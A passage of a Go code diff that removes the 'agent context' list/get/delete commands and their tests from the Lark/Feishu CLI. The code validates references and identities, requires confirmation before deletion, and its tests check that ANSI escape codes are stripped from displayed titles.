-	if p == nil {
-		t.Fatal("should return a non-nil provider")
-	}
-	if id != core.AsBot {
-		t.Errorf("identity should be bot, got %s", id)
-	}
-}
-
-// TestResolveProvider_MalformedRef wraps a ParseRef failure into an
-// invalid_argument validation error (exit 2).
-func TestResolveProvider_MalformedRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, _, err := resolveProvider(f, cmd, "no-colon", "bot")
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// Hand-written validation errors carry a recovery hint. A malformed ref
-	// teaches the <scheme>:<agent_id> shape.
-	if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
-		t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
-	}
-}
-
-// TestResolveProvider_UnknownScheme rejects an unregistered provider scheme.
-func TestResolveProvider_UnknownScheme(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, _, err := resolveProvider(f, cmd, "nope:agt_x", "bot")
-	if err == nil {
-		t.Fatal("an unknown scheme should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	// An unknown scheme points the caller at `agent list` for discovery.
-	p, _ := errs.ProblemOf(err)
-	if p == nil || !strings.Contains(p.Hint, "agent list") {
-		t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
-	}
-}
-
-// TestResolveProvider_IdentityRejected fails the user|bot whitelist when an
-// unsupported --as is explicitly requested; the provider is never constructed.
-func TestResolveProvider_IdentityRejected(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "admin")
-
-	p, _, err := resolveProvider(f, cmd, "example:agt_x", "admin")
-	if err == nil {
-		t.Fatal("an unsupported identity should error")
-	}
-	if p != nil {
-		t.Error("should not return a provider when identity validation fails")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestResolveProvider_APIClientError surfaces a NewAPIClient failure (Config
-// error) before any provider is built.
-func TestResolveProvider_APIClientError(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
-	cmd := resolveCmd(t, true, "bot")
-
-	if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
-		t.Fatal("a Config error should propagate")
-	}
-}
-
-// unconfiguredFactory returns a Factory whose Config() errors (simulating a
-// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
-// pin that the API-free paths never reach the config gate.
-func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
-	t.Helper()
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
-	return f
-}
-
-// TestResolveProviderNoClient_WorksWhenUnconfigured guards the acceptance
-// regression: the API-free resolution path must NOT touch NewAPIClient, so it
-// succeeds even when Config errors, while the client-backed resolveProvider
-// still fails at the config gate.
-func TestResolveProviderNoClient_WorksWhenUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	p, id, err := resolveProviderNoClient(f, cmd, "example:agt_x", "bot")
-	if err != nil {
-		t.Fatalf("no-client resolution should succeed when unconfigured: %v", err)
-	}
-	if p == nil || id != core.AsBot {
-		t.Fatalf("should return provider + bot identity, got p=%v id=%s", p, id)
-	}
-	if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
-		t.Fatal("the client path should error when unconfigured (config gate)")
-	}
-}
-
-// TestResolveProviderNoClient_ValidatesRefBeforeConfig pins that a malformed
-// ref / unknown scheme is a validation error (exit 2) even when unconfigured —
-// it must not be masked by not_configured.
-func TestResolveProviderNoClient_ValidatesRefBeforeConfig(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	for _, ref := range []string{"no-colon", "nope:agt_x"} {
-		_, _, err := resolveProviderNoClient(f, cmd, ref, "bot")
-		if err == nil {
-			t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
-		}
-		if !errs.IsValidation(err) {
-			t.Fatalf("ref %q should be a validation error, got %T", ref, err)
-		}
-	}
-}
-
-// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
-// card` is statically synthesized and must succeed unconfigured, never hitting
-// the config gate.
-func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
-		t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
-	}
-}
-
-// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
-// `agent send --dry-run` is a client-side preview and must succeed
-// unconfigured — the example echo card declares no parameters, so no --param is
-// needed. A malformed --param must still surface as validation, unconfigured.
-func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
-	})
-	if err != nil {
-		t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
-	}
-
-	// A malformed --param (no '=') is still a validation error, unconfigured.
-	err = agentSendRun(&sendOptions{
-		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
-		Params: []string{"noequals"}, DryRun: true, As: "bot",
-	})
-	if err == nil || !errs.IsValidation(err) {
-		t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
-	}
-}

cmd/agent/context.go

@@ -1,248 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-
-	"github.com/spf13/cobra"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// contextOptions holds all inputs for the `agent context list|get|delete`
-// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
-// Ref, As) are wired once; each RunE reads only the fields its verb needs.
-type contextOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Ref     string
-	CtxID   string
-	Yes     bool
-	As      string
-	Format  string
-}
-
-// NewCmdAgentContext builds the `agent context` command group: manage a remote
-// agent's multi-turn contexts (requires card multi_turn=true). It is a pure group with
-// no RunE so an unknown subcommand is reported rather than silently swallowed.
-func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "context",
-		Short: "Manage a remote agent's multi-turn contexts (sessions)",
-		Long:  "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
-	}
-	cmd.AddCommand(NewCmdAgentContextList(f))
-	cmd.AddCommand(NewCmdAgentContextGet(f))
-	cmd.AddCommand(NewCmdAgentContextDelete(f))
-	return cmd
-}
-
-// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
-// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
-func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list <agent_ref>",
-		Short: "List a remote agent's multi-turn contexts",
-		Long:  "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentContextListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
-// single context's detail. Risk=read.
-func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "get <agent_ref> <ctx-id>",
-		Short: "Show the detail of a single multi-turn context",
-		Long:  "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.CtxID = args[1]
-			return agentContextGetRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
-// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
-// requires --yes; without it the command returns a confirmation_required error
-// (exit 10) before touching the API. Risk=high-risk-write.
-func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "delete <agent_ref> <ctx-id>",
-		Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
-		Long:  "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.CtxID = args[1]
-			return agentContextDeleteRun(opts)
-		},
-	}
-	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除（高危操作，不加则返回 exit 10）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
-	return cmd
-}
-
-// agentContextListRun runs `context list`: resolves the provider, lists contexts
-// and emits {contexts:[...]} with meta.count.
-func agentContextListRun(opts *contextOptions) error {
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate before the API call: multi_turn is derived from ListContexts
-	// being wired, so a provider without it returns unsupported_capability.
-	if p.ListContexts == nil {
-		return capabilityError(opts.Ref, "context list", iagent.CapMultiTurn)
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	contexts, err := p.ListContexts(opts.Cmd.Context())
-	if err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		printContextsTSV(f.IOStreams.Out, contexts)
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"contexts": contexts},
-		Meta:     &output.Meta{Count: len(contexts)},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentContextGetRun runs `context get`: resolves the provider, fetches the
-// context detail and emits it.
-func agentContextGetRun(opts *contextOptions) error {
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate before the API call.
-	if p.GetContext == nil {
-		return capabilityError(opts.Ref, "context get", iagent.CapMultiTurn)
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	detail, err := p.GetContext(opts.Cmd.Context(), opts.CtxID)
-	if err != nil {
-		return err
-	}
-	if detail != nil {
-		// Derive IsTerminal from State (single source of truth) for the embedded
-		// task summaries before emission.
-		detail.Tasks = normalizeTaskSummaries(detail.Tasks)
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		printContextDetailPretty(f.IOStreams.Out, detail)
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     detail,
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
-// first so a missing confirmation returns confirmation_required (exit 10) before
-// any provider is built and holds even under a nil Factory. Only a
-// confirmed delete reaches resolveProvider + DeleteContext.
-func agentContextDeleteRun(opts *contextOptions) error {
-	if !opts.Yes {
-		return cmdutil.RequireConfirmation("agent context delete")
-	}
-
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate before the API call.
-	if p.DeleteContext == nil {
-		return capabilityError(opts.Ref, "context delete", iagent.CapMultiTurn)
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	if err := p.DeleteContext(opts.Cmd.Context(), opts.CtxID); err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}

cmd/agent/context_test.go

@@ -1,408 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
-// is set to bot so ResolveAs honors it verbatim, and carries a context.
-func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	grp := &cobra.Command{Use: "context"}
-	l := &cobra.Command{Use: leaf}
-	root.AddCommand(group)
-	group.AddCommand(grp)
-	grp.AddCommand(l)
-	l.Flags().String("as", "", "identity")
-	if err := l.Flags().Set("as", "bot"); err != nil {
-		t.Fatal(err)
-	}
-	l.SetContext(context.Background())
-	return l
-}
-
-// contextTestOpts wires a contextOptions against a real (test) Factory,
-// addressing the scripted fakeflow agent agt_x under a bot identity. The
-// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
-// test; provider behavior is scripted via setScripted.
-func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
-	t.Helper()
-	registerScripted()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, reg := cmdutil.TestFactory(t, cfg)
-	return &contextOptions{
-		Factory: f,
-		Cmd:     contextCmdCtx(t, leaf),
-		Ref:     "fakeflow:agt_x",
-		As:      "bot",
-	}, reg
-}
-
-// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
-// confirmation_required error (exit 10), raised before any provider is built.
-func TestContextDeleteRequiresYes(t *testing.T) {
-	err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
-	if err == nil {
-		t.Fatal("context delete without --yes should report confirmation_required")
-	}
-	if !errs.IsConfirmationRequired(err) {
-		t.Fatalf("should be a confirmation_required error, got %T", err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
-		t.Fatalf("exit code should be 10, got %d", code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
-		t.Fatalf("subtype should be confirmation_required, got %+v", p)
-	}
-}
-
-// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
-// deletes the session, and emits a success envelope.
-func TestContextDeleteWithYes(t *testing.T) {
-	opts, _ := contextTestOpts(t, "delete")
-	opts.CtxID = "sess_1"
-	opts.Yes = true
-	var deleted string
-	setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
-		deleted = ctxID
-		return nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextDeleteRun(opts); err != nil {
-		t.Fatalf("context delete --yes should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["context_id"] != "sess_1" || data["deleted"] != true {
-		t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
-	}
-	if deleted != "sess_1" {
-		t.Errorf("provider should receive the context id to delete, got %q", deleted)
-	}
-}
-
-// TestContextDeleteProviderError surfaces a provider DeleteContext failure
-// (non-zero business code) after --yes passes.
-func TestContextDeleteProviderError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "delete")
-	opts.CtxID = "sess_1"
-	opts.Yes = true
-	setScripted(t, scriptedHooks{deleteContext: func(string) error {
-		return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextDeleteRun(opts); err == nil {
-		t.Fatal("a DeleteContext error should propagate")
-	}
-}
-
-// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
-// after the --yes confirmation guard passes.
-func TestContextDeleteInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextListEmitsContexts pins that `context list` returns
-// {contexts:[...]} with a meta.count.
-func TestContextListEmitsContexts(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
-			{ContextID: "sess_2"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	contexts, ok := data["contexts"].([]interface{})
-	if !ok || len(contexts) != 2 {
-		t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
-	}
-	if env.Meta == nil || env.Meta.Count != 2 {
-		t.Errorf("meta.count should be 2, got %+v", env.Meta)
-	}
-}
-
-// TestContextListError surfaces a provider ListContexts failure.
-func TestContextListError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextListRun(opts); err == nil {
-		t.Fatal("a ListContexts error should propagate")
-	}
-}
-
-// TestContextListInvalidRef surfaces a malformed ref as a validation error.
-func TestContextListInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextGetEmitsDetail pins that `context get` returns a single context
-// detail.
-func TestContextGetEmitsDetail(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["context_id"] != "sess_1" {
-		t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
-	}
-	if data["title"] != "销售分析" {
-		t.Errorf("data.title should be echoed, got %v", data["title"])
-	}
-}
-
-// TestContextGetError surfaces a provider GetContext failure.
-func TestContextGetError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextGetRun(opts); err == nil {
-		t.Fatal("a GetContext error should propagate")
-	}
-}
-
-// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
-func TestContextGetInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextListWithJq exercises the --jq output branch for list.
-func TestContextListWithJq(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
-	}})
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list --jq should not error: %v", err)
-	}
-}
-
-// TestContextListPretty exercises the --format pretty human-view branch for
-// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
-// stripped of ANSI escapes.
-func TestContextListPretty(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list --format pretty should not error: %v", err)
-	}
-	s := string(out.Bytes())
-	if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
-		t.Errorf("pretty output should start with a header row, got %q", s)
-	}
-	if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
-		t.Errorf("pretty output should contain context_id and title, got %q", s)
-	}
-	if strings.Contains(s, "\x1b") {
-		t.Errorf("ANSI sequences in Title must be stripped: %q", s)
-	}
-	if strings.Contains(s, `"ok"`) {
-		t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
-	}
-}
-
-// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
-// filtered through the jq expression.
-func TestContextGetWithJq(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	opts.Cmd.Flags().String("jq", "", "")
-	if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
-		t.Fatal(err)
-	}
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{ContextID: ctxID}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get --jq should not error: %v", err)
-	}
-	got := strings.TrimSpace(string(out.Bytes()))
-	if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
-	}
-}
-
-// TestContextGetPretty pins the added --format pretty branch on context get:
-// key: value lines with the tasks count, title ANSI-stripped.
-func TestContextGetPretty(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{
-			ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
-			Tasks: []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get --format pretty should not error: %v", err)
-	}
-	s := string(out.Bytes())
-	for _, want := range []string{"context_id: sess_1", "title: 销售分析", "tasks: 1"} {
-		if !strings.Contains(s, want) {
-			t.Errorf("pretty output should contain %q, got %q", want, s)
-		}
-	}
-	if strings.Contains(s, "\x1b") {
-		t.Errorf("ANSI sequences in title must be stripped: %q", s)
-	}
-}
-
-// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
-func findSub(cmd *cobra.Command, name string) *cobra.Command {
-	for _, c := range cmd.Commands() {
-		if c.Name() == name {
-			return c
-		}
-	}
-	return nil
-}
-
-// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
-// RunE) with list/get/delete leaves.
-func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
-	cmd := NewCmdAgentContext(nil)
-	if cmd.RunE != nil || cmd.Run != nil {
-		t.Error("agent context group should not have RunE")
-	}
-	want := []string{"list", "get", "delete"}
-	for _, name := range want {
-		if findSub(cmd, name) == nil {
-			t.Errorf("missing subcommand context %s", name)
-		}
-	}
-}
-
-// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
-// the default flip: --format defaults to json.
-func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentContextList(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("context list missing ref should report an argument error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("context list with a single ref should be valid: %v", err)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil || fl.DefValue != "json" {
-		t.Errorf("context list --format default should flip to json, got %+v", fl)
-	}
-}
-
-// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
-// the added --format / --jq flags.
-func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentContextGet(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
